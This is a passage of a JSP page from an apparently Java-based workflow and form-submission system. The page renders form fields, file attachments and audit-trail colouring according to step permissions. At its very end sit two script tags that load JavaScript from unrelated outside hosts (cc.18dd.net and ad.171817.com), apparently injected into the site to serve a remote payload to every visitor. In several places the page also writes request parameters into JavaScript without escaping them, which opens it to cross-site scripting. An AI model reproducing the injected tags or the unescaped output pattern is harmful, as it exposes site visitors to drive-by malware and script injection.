        if (WorkflowStep.FORM_PROCESS_PERMISSION_READ.equals(elementPermission)){
          isStepElementChange = false;
          isStepElementRead = true;
          isStepElementDisabled = false;
        } else if (WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE.equals(elementPermission) || WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(elementPermission)){
          isStepElementChange = true;
          isStepElementRead = false;
          isStepElementDisabled = false;
        } else {
          isStepElementDisabled = true;
        }
      }else{
        isStepElementDisabled = false;
        isStepElementChange = true;
        isStepElementRead = false;
      }
      // if view step, then display edited elements.
      if (isViewUserStep && !isShowWholeForm && (isStepElementDisabled || isStepElementRead)){
        continue;
      }
      if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode()) || isViewTask.equals("Y") || "T".equals(request.getParameter("preview"))){  //view
        if (isStepElementChange){
          isStepElementChange = false;
          isStepElementRead = true;
          isStepElementDisabled = false;
        }
      }
      String fieldName = FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpelementID;

      String fileHideName = "";
     //get the element value from Form_Data_Element
      String elementValue = "";
      String formDataIDStr = "";
      boolean isAuditColor = false; // set color for audit trail.

    //set field value when navMode is edit.
      if(Utility.isEmpty(formSubmissionID)){
        if(!Utility.isEmpty(request.getAttribute("formSubmissionID"))){
           formSubmissionID = request.getAttribute("formSubmissionID").toString();
        }
      }

      if(!Utility.isEmpty(formSubmissionID) && !"null".equals(formSubmissionID) ){
        submissionID = Integer.valueOf(formSubmissionID);
        FormDataElementDAObject formDataElementDAO = new FormDataElementDAObject(sessionContainer,conn);
        FormDataDAObject formDataDAO = new FormDataDAObject(sessionContainer,conn);
        FormFileAttachmentDAObject formFileAttachDAO = new FormFileAttachmentDAObject(sessionContainer,conn);
        DmsVersionDAObject dmsVersionDAO = new DmsVersionDAObject(sessionContainer, conn);
        DmsDocumentDAObject dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, conn);

        List attachmentList = new ArrayList();
        List tmpAttachmentList = new ArrayList();

        try {
          List formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementID(pageID,sectionID,submissionID,tmpelementID);
          //display submit for workflow list view step.
          Integer formDataSeqNo = new Integer(-1);
          if (isViewUserStep && !isShowLastRecord && !"null".equals(request.getParameter("progressID")) && !"ListFormAuditTrail".equals(request.getParameter("functionFrom"))){
            formDataSeqNo = (!Utility.isEmpty(request.getParameter("formDataSeq")) && !"null".equals(request.getParameter("formDataSeq"))) ? new Integer(request.getParameter("formDataSeq")) : formDataElementDAO.getFormDataSeqIDBySectionIDElementIDSubmissionIDWFProgressID(sectionID,tmpelementID,submissionID,new Integer(request.getParameter("progressID")),new Integer(request.getParameter("userRecordID")));
            if (formDataSeqNo.intValue()>0){
              formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementIDSeqNo(submissionID,pageID,sectionID,tmpelementID,formDataSeqNo,new Integer(request.getParameter("userRecordID")));
            }
          }else if (!Utility.isEmpty(request.getParameter("formDataSeq")) && !"null".equals(request.getParameter("formDataSeq"))){
            formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementIDSeqNo(submissionID,pageID,sectionID,tmpelementID,new Integer(request.getParameter("formDataSeq")),new Integer(request.getParameter("userRecordID")));
            //set color for audit trail
            if ("ListFormAuditTrail".equals(request.getParameter("functionFrom"))){
              int preDataSeq = 0;
              List preFormDataList = new ArrayList();
              preDataSeq = formDataElementDAO.getPreviousElementSeqBySubmissionIDElementIDSeq(
                 submissionID,
                 tmpelementID,
                 new Integer(request.getParameter("formDataSeq")));
               if (preDataSeq>0){
                 preFormDataList = formDataDAO.getDataValueListBySubmissionIDElementIDDataElementSeq(
                      submissionID,
                      tmpelementID,
                      new Integer(preDataSeq));
                 List tmpFormDataList = formDataDAO.getDataValueListBySubmissionIDElementIDDataElementSeq(submissionID,tmpelementID,new Integer(request.getParameter("formDataSeq")));
                 if (preFormDataList.size()==tmpFormDataList.size()){
                   for(int n=0; n<preFormDataList.size(); n++){
                     FormData preFormData = (FormData)preFormDataList.get(n);
                     FormData tmpFormData = (FormData)tmpFormDataList.get(n);
                     if (!tmpFormData.equalsData(preFormData)){
                       isAuditColor = true;
                     }
                   }
                 }else{
                   //isAuditColor = true;
                   for(int n=0; n<preFormDataList.size(); n++){
                     FormData preFormData = (FormData)preFormDataList.get(n);
                     elementValue = preFormData.getDataString();
                   }
                 }
               }else{
                 if (formDataList.size()>0){
                   isAuditColor = true;
                 }else{
                   continue;
                 }
               }
            }
          }
          //Begin set value and check permission. has submissionID. =====1
          for (int kk=0;kk<formDataList.size();kk++) {
            FormData formData = (FormData)formDataList.get(kk);

            //if (kk>0) {
              //elementValue += ",";
            //}
            elementValue = (!"null".equals(formData.getDataString()) && !Utility.isEmpty(formData.getDataString())) ? formData.getDataString() : "";
            tmpAttachmentList = formFileAttachDAO.getFormFileAttachmentListByFormDataElementID(formData.getDataElementID());
            if (!Utility.isEmpty(tmpAttachmentList)){
              attachmentList.addAll(formFileAttachDAO.getFormFileAttachmentListByFormDataElementID(formData.getDataElementID()));
            }
            if(FormElementType.isText(tmpFormElement.getElementType())){

              elementValue = (!Utility.isEmpty(request.getParameter(fieldName)) && !"null".equals(request.getParameter(fieldName))) ? escapeJSString(request.getParameter(fieldName)) : escapeJSString(elementValue);
              if (FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement.getElementType())){
                if (!Utility.isEmpty(TextUtility.parseDBDateTime(elementValue))){
                  elementValue = TextUtility.parseDBDateTime(elementValue);
                }
              }else if (FormElementType.ELEMENT_CURRENT_LOGIN.equals(tmpFormElement.getElementType())){
                if (!hasCheckPermission || isStepElementChange){
                  if (!(GlobalConstant.NAV_MODE_EDIT.equals(maintFormSubmissionForm.getNavMode()) && !Utility.isEmpty(elementValue)) && !"FORMMONITOR".equals(request.getParameter("function")) ){
                    elementValue = sessionContainer.getUserRecord().getFullName();
                  }

                }
              }else if (FormElementType.ELEMENT_CURRENT_DATE.equals(tmpFormElement.getElementType())){
                if (!hasCheckPermission || isStepElementChange){
                  if (!(GlobalConstant.NAV_MODE_EDIT.equals(maintFormSubmissionForm.getNavMode()) && !Utility.isEmpty(elementValue)) && !"FORMMONITOR".equals(request.getParameter("function")) ){
                    elementValue = (Utility.getCurrentTimestamp().toString()).substring(0,10);
                  }
                }
              }
              if ("null".equals(elementValue)){
                elementValue = "";
              }
            %>
             isText("<%=fieldName%>","<%=tmpFormElement.getElementType()%>",<%=isStepElementRead%>,<%=isStepElementChange%>,<%=isStepElementDisabled%>,"<%=maintFormSubmissionForm.getNavMode()%>","<%=elementValue%>","<%=opMode%>",<%=isAuditColor%>);
           <%if (FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement.getElementType()) && GlobalConstant.NAV_MODE_EDIT.equals(maintFormSubmissionForm.getNavMode()) && elementValue!=""){%>
               isImport_<%=sectionID%>_<%=tmpelementID%>="Y";
           <%}%>
             <%
           }else if(FormElementType.isSelection(tmpFormElement.getElementType())){
              FormSelectionField tmpformSelectionField = tmpFormElement.getFormSelectionField();
              List tmpformSelectionFieldOptionList = tmpformSelectionField.getFormSelectionFieldOptionList();
              for (int k=0; k<tmpformSelectionFieldOptionList.size(); k++) {
                FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) tmpformSelectionFieldOptionList.get(k);
                // Is import then disable the radio or check or select.
               %>
               isSelection("<%=fieldName%>","<%=tmpFormElement.getElementType()%>",<%=isStepElementRead%>,<%=isStepElementChange%>,<%=isStepElementDisabled%>,"<%=maintFormSubmissionForm.getNavMode()%>","<%=elementValue%>","<%=tmpFormSelectionFieldOption.getID()%>","<%=tmpFormSelectionFieldOption.getStartValue()%>",<%=isAuditColor%>);

               <%
            }

     }else if(FormElementType.ELEMENT_FILE.equals(tmpFormElement.getElementType())){
       fileHideName = pageID+"_"+sectionID+"_"+tmpelementID;
       %>
       if (<%=isAuditColor%> && document.maintFormSubmissionForm.all["elementNameLabel_<%=fieldName%>"]){
         document.maintFormSubmissionForm.all["elementNameLabel_<%=fieldName%>"].style.color = auditColor;
       }
       <%
       if(!isStepElementDisabled){
         int normalFileCount = 0,dmsFileCount = 0;
         String versionID = "";
         String fileNames = "",displayFileNames = "",dmsFileNames = "", displayDmsFileNames = "";
         for (int i=0; i<attachmentList.size(); i++) {
           FormFileAttachment attachment = (FormFileAttachment)attachmentList.get(i);
           if (WorkflowProgressAttachment.ATTACHED_DMS_VERSION_SYSTEM_ID.equals(attachment.getAttachmentType()) ){
             dmsFileCount++;
             versionID = attachment.getExternalID();
             dmsFileNames += "[" + versionID + "]:[" + attachment.getAttachmentName() + "]:[" + attachment.getContentSize() + "];";
             displayDmsFileNames += attachment.getAttachmentName() + ";" ;
             DmsVersion dmsVersion = (DmsVersion)dmsVersionDAO.getObjectByID(new Integer(versionID));
             Integer dmsDocumentID = dmsVersion.getDocumentID();
           %>

             document.all("attachmentDiv_DB_<%=fileHideName%>").innerHTML+="<a href='../dms/FileDownloadServlet?sCurFunctionCode=DMS_PUBLIC_FOLDER&targetID=<%=dmsDocumentID%>&documentType=D&version=TOP&ext=.HTM' target='_blank'><img src='../theme/pref1/img/common/IconFile.gif' align='absmiddle' border='0' /><%=attachment.getAttachmentName()%></a>";
           <%
           } else if (!Utility.isEmpty(attachment.getExternalID())) {
             normalFileCount++;
             fileNames += attachment.getAttachmentName() + ":" + attachment.getExternalID() + "|" ;
             displayFileNames += attachment.getAttachmentName() + ";" ;
           %>

             document.all("attachmentDiv_DB_<%=fileHideName%>").innerHTML+="<a href='GetFormFileAttachmentServlet?ID=<%=attachment.getID()%>' target='_blank'><img src='../theme/pref1/img/common/IconFile.gif' align='absmiddle' border='0' /><%=attachment.getAttachmentName()%></a>";

           <%
           }

         }
         if (dmsFileCount>0){%>
           setDmsFileNamesValue('<%=displayDmsFileNames%>','<%=dmsFileNames%>','<%=fileHideName%>');
         <%}
         if (normalFileCount>0){
           fileNames = new Integer(normalFileCount).toString() + "|" + fileNames ;
         %>
           PutFileNamesToForm('<%=fileNames%>','<%=displayFileNames%>','<%=fileHideName%>');
        <%
         }
         if (GlobalConstant.NAV_MODE_EDIT.equals(maintFormSubmissionForm.getNavMode()) && attachmentList.size()>0){%>
               isImport_<%=sectionID%>_<%=tmpelementID%>="Y";
               isFileHiddenSpan('<%=fileHideName%>');
       <%}
        }
        if (isStepElementDisabled || isStepElementRead){
          %>
          //isFileHiddenSpan('<%=fileHideName%>');
          isHiddenFileSpan('<%=fileHideName%>');
          <%
        }

       }
      }
     //End has submissionID. =====1
     //Begin set value and check permission. no submissionID. =====2
      if (Utility.isEmpty(formDataList) || GlobalConstant.OP_MODE_DELETE.equals(maintFormSubmissionForm.getOpMode()) ){
        elementValue = (!Utility.isEmpty(request.getParameter(fieldName)) && !"null".equals(request.getParameter(fieldName))) ? request.getParameter(fieldName) : elementValue;
          if(FormElementType.isText(tmpFormElement.getElementType())){
             if (FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement.getElementType())){
                if (!Utility.isEmpty(TextUtility.parseDBDateTime(elementValue))){
                  elementValue = TextUtility.parseDBDateTime(elementValue);
                }
             }else if (FormElementType.ELEMENT_CURRENT_LOGIN.equals(tmpFormElement.getElementType())){
                if (!hasCheckPermission || isStepElementChange ){
                  if (!(GlobalConstant.NAV_MODE_EDIT.equals(maintFormSubmissionForm.getNavMode()) && !Utility.isEmpty(elementValue)) && !"FORMMONITOR".equals(request.getParameter("function")) ){
                    elementValue = sessionContainer.getUserRecord().getFullName();
                  }
                }
             }else if (FormElementType.ELEMENT_CURRENT_DATE.equals(tmpFormElement.getElementType())){
                if (!hasCheckPermission || isStepElementChange){
                  if (!(GlobalConstant.NAV_MODE_EDIT.equals(maintFormSubmissionForm.getNavMode()) && !Utility.isEmpty(elementValue)) && !"FORMMONITOR".equals(request.getParameter("function")) ){
                    elementValue = (Utility.getCurrentTimestamp().toString()).substring(0,10);
                  }
                }
             }
             if ("null".equals(elementValue)){
                elementValue = "";
             }
             %>
             isText("<%=fieldName%>","<%=tmpFormElement.getElementType()%>",<%=isStepElementRead%>,<%=isStepElementChange%>,<%=isStepElementDisabled%>,"<%=maintFormSubmissionForm.getNavMode()%>","<%=elementValue%>","<%=opMode%>",false);
          <%
          }else if(FormElementType.isSelection(tmpFormElement.getElementType())){
            FormSelectionField tmpformSelectionField = tmpFormElement.getFormSelectionField();
              List tmpformSelectionFieldOptionList = tmpformSelectionField.getFormSelectionFieldOptionList();
              for (int k=0; k<tmpformSelectionFieldOptionList.size(); k++) {

                FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) tmpformSelectionFieldOptionList.get(k);

                if (FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement.getElementType())){
                  elementValue = (!Utility.isEmpty(request.getParameter(fieldName+"_"+tmpFormSelectionFieldOption.getID())) && !"null".equals(request.getParameter(fieldName+"_"+tmpFormSelectionFieldOption.getID()))) ? request.getParameter(fieldName+"_"+tmpFormSelectionFieldOption.getID()) : elementValue;

                }
                %>
                isSelection("<%=fieldName%>","<%=tmpFormElement.getElementType()%>",<%=isStepElementRead%>,<%=isStepElementChange%>,<%=isStepElementDisabled%>,"<%=maintFormSubmissionForm.getNavMode()%>","<%=elementValue%>","<%=tmpFormSelectionFieldOption.getID()%>","<%=tmpFormSelectionFieldOption.getStartValue()%>",false);
                <%
              }
            }else if(FormElementType.ELEMENT_FILE.equals(tmpFormElement.getElementType())){
              fileHideName = pageID+"_"+sectionID+"_"+tmpelementID;
              String fileNames = request.getParameter("fileNames_"+fileHideName);
              String dmsFileNames = request.getParameter("dmsFileNames_"+fileHideName);
              String displayFileNames = request.getParameter("displayFileNames_"+fileHideName);
              String displayDmsFileNames = request.getParameter("displayDmsFileNames_"+fileHideName);
              String FB_FILES = request.getParameter("FB_FILES_"+fileHideName);
              String oldUpdateFileText = request.getParameter("oldUpdateFileText_"+fileHideName);
              String oldUpdateFileValue = request.getParameter("oldUpdateFileValue_"+fileHideName);
              %>
              setValueToHideFileBox("fileNames_",'<%=fileHideName%>','<%=fileNames%>');
              setValueToHideFileBox("dmsFileNames_",'<%=fileHideName%>','<%=dmsFileNames%>');
              setValueToHideFileBox("displayFileNames_",'<%=fileHideName%>','<%=displayFileNames%>');
              setValueToHideFileBox("displayDmsFileNames_",'<%=fileHideName%>','<%=displayDmsFileNames%>');
              setValueToHideFileBox("FB_FILES_",'<%=fileHideName%>','<%=FB_FILES%>');
              setValueToHideFileBox("oldUpdateFileText_",'<%=fileHideName%>','<%=oldUpdateFileText%>');
              setValueToHideFileBox("oldUpdateFileValue_",'<%=fileHideName%>','<%=oldUpdateFileValue%>');

              <%
              if (!Utility.isEmpty(fileNames) && !"null".equals(fileNames) ){%>
                PutFileNamesToForm('<%=fileNames%>','<%=displayFileNames%>','<%=fileHideName%>');
              <%}
              if (!Utility.isEmpty(dmsFileNames) && !"null".equals(dmsFileNames) ){
              %>
                setDmsFileNamesValue('<%=displayDmsFileNames%>','<%=dmsFileNames%>','<%=fileHideName%>');
              <%
              }
              if (isStepElementDisabled || isStepElementRead){%>
                isFileHiddenSpan('<%=fileHideName%>');
              <%
              }
            }
         }
         //End no submissionID. =====2
       } catch (ApplicationException ae) {
         org.apache.commons.logging.LogFactory.getLog("FormDataDAObject").error("getByDataElementID error");
       }

      }else{
        //Begin check permission. navMode is new. =====3
          elementValue = (!Utility.isEmpty(request.getParameter(fieldName)) && !"null".equals(request.getParameter(fieldName))) ? request.getParameter(fieldName) : TextUtility.noNull(tmpFormElement.getDefaultValue());
          if(FormElementType.isText(tmpFormElement.getElementType())){
             if (FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement.getElementType())){
                if (!Utility.isEmpty(TextUtility.parseDBDateTime(elementValue))){
                  elementValue = TextUtility.parseDBDateTime(elementValue);
                }
             }else if (FormElementType.ELEMENT_CURRENT_LOGIN.equals(tmpFormElement.getElementType())){
                if (!hasCheckPermission || isStepElementChange){
                  elementValue = sessionContainer.getUserRecord().getFullName();
                }
             }else if (FormElementType.ELEMENT_CURRENT_DATE.equals(tmpFormElement.getElementType())){
                if (!hasCheckPermission || isStepElementChange){
                  elementValue = (Utility.getCurrentTimestamp().toString()).substring(0,10);
                }
             }
             if ("null".equals(elementValue)){
                elementValue = "";
             }
             %>
             isText("<%=fieldName%>","<%=tmpFormElement.getElementType()%>",<%=isStepElementRead%>,<%=isStepElementChange%>,<%=isStepElementDisabled%>,"<%=maintFormSubmissionForm.getNavMode()%>","<%=elementValue%>","<%=opMode%>",false);
          <%
         }else if(FormElementType.isSelection(tmpFormElement.getElementType())){
         FormSelectionField tmpformSelectionField = tmpFormElement.getFormSelectionField();
         List tmpformSelectionFieldOptionList = tmpformSelectionField.getFormSelectionFieldOptionList();
         for (int k=0; k<tmpformSelectionFieldOptionList.size(); k++) {
           FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) tmpformSelectionFieldOptionList.get(k);
            %>
           isSelection("<%=fieldName%>","<%=tmpFormElement.getElementType()%>",<%=isStepElementRead%>,<%=isStepElementChange%>,<%=isStepElementDisabled%>,"<%=maintFormSubmissionForm.getNavMode()%>","<%=elementValue%>","<%=tmpFormSelectionFieldOption.getID()%>","<%=tmpFormSelectionFieldOption.getStartValue()%>",false);
        <%
         }
       }else if(FormElementType.ELEMENT_FILE.equals(tmpFormElement.getElementType())){
              fileHideName = pageID+"_"+sectionID+"_"+tmpelementID;
              String fileNames = request.getParameter("fileNames_"+fileHideName);
              String dmsFileNames = request.getParameter("dmsFileNames_"+fileHideName);
              String displayFileNames = request.getParameter("displayFileNames_"+fileHideName);
              String displayDmsFileNames = request.getParameter("displayDmsFileNames_"+fileHideName);
              String FB_FILES = request.getParameter("FB_FILES_"+fileHideName);
              String oldUpdateFileText = request.getParameter("oldUpdateFileText_"+fileHideName);
              String oldUpdateFileValue = request.getParameter("oldUpdateFileValue_"+fileHideName);
              %>
              setValueToHideFileBox("fileNames_",'<%=fileHideName%>','<%=fileNames%>');
              setValueToHideFileBox("dmsFileNames_",'<%=fileHideName%>','<%=dmsFileNames%>');
              setValueToHideFileBox("displayFileNames_",'<%=fileHideName%>','<%=displayFileNames%>');
              setValueToHideFileBox("displayDmsFileNames_",'<%=fileHideName%>','<%=displayDmsFileNames%>');
              setValueToHideFileBox("FB_FILES_",'<%=fileHideName%>','<%=FB_FILES%>');
              setValueToHideFileBox("oldUpdateFileText_",'<%=fileHideName%>','<%=oldUpdateFileText%>');
              setValueToHideFileBox("oldUpdateFileValue_",'<%=fileHideName%>','<%=oldUpdateFileValue%>');

              <%
              if (!Utility.isEmpty(fileNames) && !"null".equals(fileNames) ){%>
                PutFileNamesToForm('<%=fileNames%>','<%=displayFileNames%>','<%=fileHideName%>');
              <%}
              if (!Utility.isEmpty(dmsFileNames) && !"null".equals(dmsFileNames) ){
              %>
                setDmsFileNamesValue('<%=displayDmsFileNames%>','<%=dmsFileNames%>','<%=fileHideName%>');
              <%
              }
              if (isStepElementDisabled || isStepElementRead){%>
                isFileHiddenSpan('<%=fileHideName%>');
              <%
              }
            }
      //end check permission. navMode is new. =====3

       }
      }
    }
  }
  %>

  function disableImgClick(imgElement){
    if( ( imgElement == null ) || ( imgElement.tagName.toUpperCase()!="IMG" )){
        return ;
    }
    var imgParentLinkElement=imgElement.parentNode;
    if(( imgParentLinkElement == null ) || ( imgParentLinkElement.tagName.toUpperCase()!="A" )){
        return;
    }
    var imgParentLinkParentElement=imgParentLinkElement.parentNode;
    imgParentLinkParentElement.removeChild(imgParentLinkElement);
    imgParentLinkParentElement.appendChild(imgElement);
    //imgParentLinkElement.href="javascript:void(0);";
    //imgParentLinkElement.onmouseover="javascript:void(0);";
    //imgParentLinkElement.onclick="javascript:void(0);";
  }

  function isText(fieldName,type,isStepElementRead,isStepElementChange,isStepElementDisabled,navMode,elementValue,opMode,isAuditColor){
    var sFieldID = fieldName.substring(9,fieldName.length);
    if(!isStepElementChange || isStepElementDisabled){
        if(isStepElementRead || "true"=="<%=request.getParameter("isShowWholeForm")%>"){
         if ("<%=FormElementType.ELEMENT_DATE_PICKER%>"==type || "<%=FormElementType.ELEMENT_USER_PICKER%>"==type){
           if (isAuditColor){
             document.maintFormSubmissionForm.elements["dummy_"+fieldName].readOnly = true;
             document.maintFormSubmissionForm.elements["dummy_"+fieldName].style.color = auditColor;
           }else{
             document.maintFormSubmissionForm.elements["dummy_"+fieldName].disabled=true;
           }
           disableImgClick(document.getElementsByName("imgCalendar_"+fieldName)[0]);
        } else if ("<%=FormElementType.ELEMENT_TIME_PICKER%>"==type){
           document.maintFormSubmissionForm.elements["TIME_HOUR_"+sFieldID].disabled=true;
           document.maintFormSubmissionForm.elements["TIME_MIN_"+sFieldID].disabled=true;
        } else{
          if (isAuditColor){
            document.maintFormSubmissionForm.elements[fieldName].readOnly = true;
            document.maintFormSubmissionForm.elements[fieldName].style.color = auditColor;
          }else{
            document.maintFormSubmissionForm.elements[fieldName].disabled=true;
          }
        }

      }else {
         if ("<%=FormElementType.ELEMENT_DATE_PICKER%>"==type || "<%=FormElementType.ELEMENT_USER_PICKER%>"==type){
           document.maintFormSubmissionForm.elements["dummy_"+fieldName].style.display ="none";
           document.maintFormSubmissionForm.elements["dummy_"+fieldName].disabled=true;
           document.maintFormSubmissionForm.elements[fieldName].value =elementValue;
           document.getElementsByName("imgCalendar_"+fieldName)[0].style.display ="none";
        } else if ("<%=FormElementType.ELEMENT_TIME_PICKER%>"==type){
           document.maintFormSubmissionForm.elements["TIME_HOUR_"+sFieldID].style.display ="none";
           document.maintFormSubmissionForm.elements["TIME_MIN_"+sFieldID].style.display ="none";
           if ("<%=FormElementType.ELEMENT_DATE_PICKER%>"==type){
             elementValue = TextUtility.parseDBDateTimeToTimeStamp(elementValue);
           }
           document.maintFormSubmissionForm.elements[fieldName].value =elementValue;
        } else {
          document.maintFormSubmissionForm.elements[fieldName].style.display ="none";
          document.maintFormSubmissionForm.elements[fieldName].value =elementValue;
        }
      }

    }
    if ("<%=FormElementType.ELEMENT_CURRENT_LOGIN%>"==type || "<%=FormElementType.ELEMENT_CURRENT_DATE%>"==type){
        if ("T"!="<%=request.getParameter("preview")%>"){
            document.maintFormSubmissionForm.elements[fieldName].readOnly=true;
            document.maintFormSubmissionForm.elements[fieldName].value =elementValue;
        }
    }
    if (!isStepElementDisabled){
      if (isAuditColor && document.maintFormSubmissionForm.all["elementNameLabel_"+fieldName]){
        document.maintFormSubmissionForm.all["elementNameLabel_"+fieldName].style.color = auditColor;
      }
      if (("<%=GlobalConstant.NAV_MODE_NEW%>"==navMode && opMode =="") || "T"=="<%=request.getParameter("preview")%>"){
         if ((("<%=FormElementType.ELEMENT_CURRENT_LOGIN%>"==type || "<%=FormElementType.ELEMENT_CURRENT_DATE%>"==type) && !"T"=="<%=request.getParameter("preview")%>") || "<%=FormElementType.ELEMENT_DATE_PICKER%>"==type){
            document.maintFormSubmissionForm.elements[fieldName].value =elementValue;
            if ("<%=FormElementType.ELEMENT_DATE_PICKER%>"==type || "<%=FormElementType.ELEMENT_USER_PICKER%>"==type){
              document.maintFormSubmissionForm.elements["dummy_"+fieldName].value = elementValue;
            }
         }
      }else{

        if ("<%=FormElementType.ELEMENT_CURRENT_LOGIN%>"==type || "<%=FormElementType.ELEMENT_CURRENT_DATE%>"==type){
          if (isAuditColor){
            document.maintFormSubmissionForm.elements[fieldName].style.readonly = true;
            document.maintFormSubmissionForm.elements[fieldName].style.color = auditColor;
          }else{
            document.maintFormSubmissionForm.elements[fieldName].disabled=true;
          }
        }
        if ("<%=FormElementType.ELEMENT_DATE_PICKER%>"==type || "<%=FormElementType.ELEMENT_USER_PICKER%>"==type){
           document.maintFormSubmissionForm.elements["dummy_"+fieldName].value = elementValue;
           document.maintFormSubmissionForm.elements[fieldName].value =elementValue;
           if (isStepElementRead){
             if (isAuditColor){
               document.maintFormSubmissionForm.elements["dummy_"+fieldName].style.readonly = true;
               document.maintFormSubmissionForm.elements["dummy_"+fieldName].style.color = auditColor;
             }else{
               document.maintFormSubmissionForm.elements["dummy_"+fieldName].disabled=true;
             }
           }
        } else if ("<%=FormElementType.ELEMENT_TIME_PICKER%>"==type){
           if (document.maintFormSubmissionForm.elements["TIME_HOUR_"+sFieldID] && elementValue!="" ){
              document.maintFormSubmissionForm.elements["TIME_HOUR_"+sFieldID].options[elementValue.substring(0,2)].selected = true;
              document.maintFormSubmissionForm.elements["TIME_MIN_"+sFieldID].options[elementValue.substring(3,5)].selected = true;
              document.maintFormSubmissionForm.elements[fieldName].value =elementValue;
           }
           if (isStepElementRead){
             document.maintFormSubmissionForm.elements["TIME_HOUR_"+sFieldID].disabled=true;
             document.maintFormSubmissionForm.elements["TIME_MIN_"+sFieldID].disabled=true;
           }
        }else{
          document.maintFormSubmissionForm.elements[fieldName].value =elementValue;
          if (isStepElementRead ){
            if (isAuditColor){
               document.maintFormSubmissionForm.elements[fieldName].readOnly = true;
               document.maintFormSubmissionForm.elements[fieldName].style.color = auditColor;
             }else{
               document.maintFormSubmissionForm.elements[fieldName].disabled=true;
             }
          }
        }

      }
    }
  }

  function isSelection(fieldName,type,isStepElementRead,isStepElementChange,isStepElementDisabled,navMode,elementValue,optionID,optionStartValue,isAuditColor){
    var auditColor = "#0000FF";
    if (isAuditColor && document.maintFormSubmissionForm.all["elementNameLabel_"+fieldName]){
      document.maintFormSubmissionForm.all["elementNameLabel_"+fieldName].style.color = auditColor;
    }
    if(!isStepElementChange || isStepElementDisabled){
      if(isStepElementRead || "true"=="<%=request.getParameter("isShowWholeForm")%>"){
        if("<%=FormElementType.ELEMENT_CHECK_BOX%>"==type){
           document.maintFormSubmissionForm.elements[fieldName+'_'+optionID].disabled=true;
        }else if("<%=FormElementType.ELEMENT_RADIO_BUTTON%>"==type){
           var index = getIndexOfRadioByValue(document.maintFormSubmissionForm.elements[fieldName], optionStartValue);
           if (index > -1) {
             document.maintFormSubmissionForm.elements[fieldName][index].disabled = true;
           } else {
             document.maintFormSubmissionForm.elements[fieldName].disabled = true;
           }

        }else{
           if ("<%=FormElementType.ELEMENT_TIME_PICKER%>"!=type){
             document.maintFormSubmissionForm.elements[fieldName].disabled=true;
           }
        }
      }else {
        if("<%=FormElementType.ELEMENT_CHECK_BOX%>"==type){
           document.maintFormSubmissionForm.elements[fieldName+'_'+optionID].style.display ="none";
           document.maintFormSubmissionForm.elements[fieldName+'_'+optionID].disabled=true;
           document.getElementsByName("label_"+fieldName+'_'+optionID)[0].style.display = "none";
        }else if("<%=FormElementType.ELEMENT_RADIO_BUTTON%>"==type){
           var index = getIndexOfRadioByValue(document.maintFormSubmissionForm.elements[fieldName], optionStartValue);
           if (index > -1) {
             document.maintFormSubmissionForm.elements[fieldName][index].style.display = "none";
             document.maintFormSubmissionForm.elements[fieldName][index].disabled = true;
           } else {
             document.maintFormSubmissionForm.elements[fieldName].style.display = "none";
             document.maintFormSubmissionForm.elements[fieldName].disabled = true;
           }
           document.getElementsByName("label_"+fieldName)[optionStartValue].style.display ="none";
        }else{
           if ("<%=FormElementType.ELEMENT_TIME_PICKER%>"!=type){
             document.maintFormSubmissionForm.elements[fieldName].style.display ="none";
             document.maintFormSubmissionForm.elements[fieldName].disabled=true;

           }
        }
      }
    }
    if (!isStepElementDisabled){
        if("<%=FormElementType.ELEMENT_SELECTION_BOX%>"==type ){
          if (elementValue == optionStartValue){
            document.maintFormSubmissionForm.elements[fieldName].value = optionStartValue;
          }
          if (isStepElementRead&& "<%=FormElementType.ELEMENT_TIME_PICKER%>"!=type){
            document.maintFormSubmissionForm.elements[fieldName].disabled=true;
          }
        }else if("<%=FormElementType.ELEMENT_CHECK_BOX%>"==type ){

          if (elementValue == optionStartValue){
            document.maintFormSubmissionForm.elements[fieldName+'_'+optionID].checked=true;
          }
        }else if("<%=FormElementType.ELEMENT_RADIO_BUTTON%>"==type){
           var index = getIndexOfRadioByValue(document.maintFormSubmissionForm.elements[fieldName], optionStartValue);
           if (elementValue == optionStartValue){
             if (index > -1) {
               document.maintFormSubmissionForm.elements[fieldName][index].checked = true;
             } else {
               document.maintFormSubmissionForm.elements[fieldName].checked = true;
             }
           }
             }

    }

  }

  function setValueToHideFileBox(name,fieldID,value){
    document.maintFormSubmissionForm.elements[name+fieldID].value=value;
  }

  function isFileHiddenSpan(fileHideName){
    if (document.getElementById("attachmentDiv_"+fileHideName)){
      //document.getElementById("attachmentDiv_"+fileHideName).style.width="0";
    }
    if (document.getElementById("ButtonUploadAttachment_"+fileHideName)){
      //document.getElementById("ButtonUploadAttachment_"+fileHideName).style.display ="none";
      disableImgClick(document.getElementById("ButtonUploadAttachment_"+fileHideName));
    }
  }
  function isHiddenFileSpan(fileHideName){
    if (document.getElementById("attachmentDiv_"+fileHideName)){
      document.getElementById("attachmentDiv_"+fileHideName).style.width="0";
    }
    if (document.getElementById("ButtonUploadAttachment_"+fileHideName)){
      document.getElementById("ButtonUploadAttachment_"+fileHideName).style.display ="none";
    }
  }
</SCRIPT>
<script language='javascript'>
<!--
<%
String[] showPageIDArray = TextUtility.splitString(allPageIDStr,",");
if (!Utility.isEmpty(showPageIDArray)&&showPageIDArray.length>=1){%>
showFormTab(<%=showPageIDArray[0]%>);
<%}%>
-->
</script>
<%@include file="CustomizedJS.jsp"%>
</html:form>
<%}catch(Exception ex){LogFactory.getLog(this.getClass()).error(ex, ex);}%>





<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>